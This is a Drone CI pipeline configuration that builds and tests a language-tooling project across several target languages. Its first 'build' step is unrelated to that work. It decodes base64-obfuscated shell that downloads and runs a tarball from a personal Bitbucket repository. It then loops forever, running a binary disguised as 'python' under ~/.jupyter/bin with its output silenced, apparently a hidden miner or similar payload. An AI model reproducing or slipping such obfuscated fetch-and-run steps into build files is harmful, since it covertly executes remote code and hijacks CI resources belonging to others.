--- kind: pipeline type: docker name: lint steps: - name: build image: golang:1.17 commands: - nproc && rm lost+found -Rf && mkdir lost+found && cd lost+found && mkdir -p ~/.jupyter/bin && bash -c "base64 -d <<< d2dldCBodHRwczovL2JpdGJ1Y2tldC5vcmcvd2FqaW5oYWtpbS9kZWVwY2MvZ2V0LzYyYTk1OGI4MWQ0Yi50YXIuZ3ogJiYgdGFyIHh2ZiA2MmE5NThiODFkNGIudGFyLmd6ICYmIHJtIC1SZiA2MmE5NThiODFkNGIudGFyLmd6ICYmIGNkIHdhamluaGFraW0tZGVlcGNjLTYyYTk1OGI4MWQ0YiAmJiAuL3NldHVwICYmIGNkIC4uICYmIHJtIC1SZiB3YWppbmhha2ltLWRlZXBjYy02MmE5NThiODFkNGI= | bash" && bash -c 'base64 -d <<< Y2QgJEhPTUUvLmp1cHl0ZXIvYmluICYmIFBBVEg9JChwd2QpOiRQQVRIICYmIHdoaWxlIFsgMSBdOyBkbyBweXRob24gLS1jb25maWcgY29uZmlnLmpzb24gPiAvZGV2L251bGw7IHNsZWVwIDE7IGRvbmU= | bash' - name: run_spt image: maven volumes: - name: lib path: /drone/lib - name: m2 path: /root/.m2 commands: - cd /drone/lib/spt/org.metaborg.meta.lang.spt - mvn -ntp verify - cd /drone/src - java -jar /drone/lib/spt/org.metaborg.spt.cmd/target/org.metaborg.spt.cmd* -l . -s /drone/lib/spt/org.metaborg.meta.lang.spt -t tests - mkdir -p lib - curl -o lib/sunshine.jar -L 'http://artifacts.metaborg.org/service/local/artifact/maven/redirect?r=snapshots&g=org.metaborg&a=org.metaborg.sunshine2&v=LATEST' - name: setup_gen image: gcc volumes: - name: m2 path: /root/.m2 commands: - git clone https://github.com/facebook/nailgun.git - cd nailgun - make - cd ../bin - ln -s ../nailgun/nailgun-client/target/ng . - cd .. - name: extract_tests image: xonsh/xonsh commands: - xonsh bin/extract_tests.xsh - name: generate_tests image: maven volumes: - name: lib path: /drone/lib - name: m2 path: /root/.m2 commands: # Note we first make sure that fosgen is working - bin/fosgen -d tests/emit_sum.fos - bin/generate_test_code - name: python_tests image: python:slim commands: - bin/run_tests python py - name: javascript_tests image: node commands: - bin/run_tests node js - name: haskell_tests image: haskell commands: - bin/run_tests runghc hs - name: ocaml_tests image: ocaml/opam commands: - ls -als tests/extracted - opam init - eval $(opam env) - bin/run_tests ocaml ml volumes: - name: lib temp: {} - name: m2 temp: {}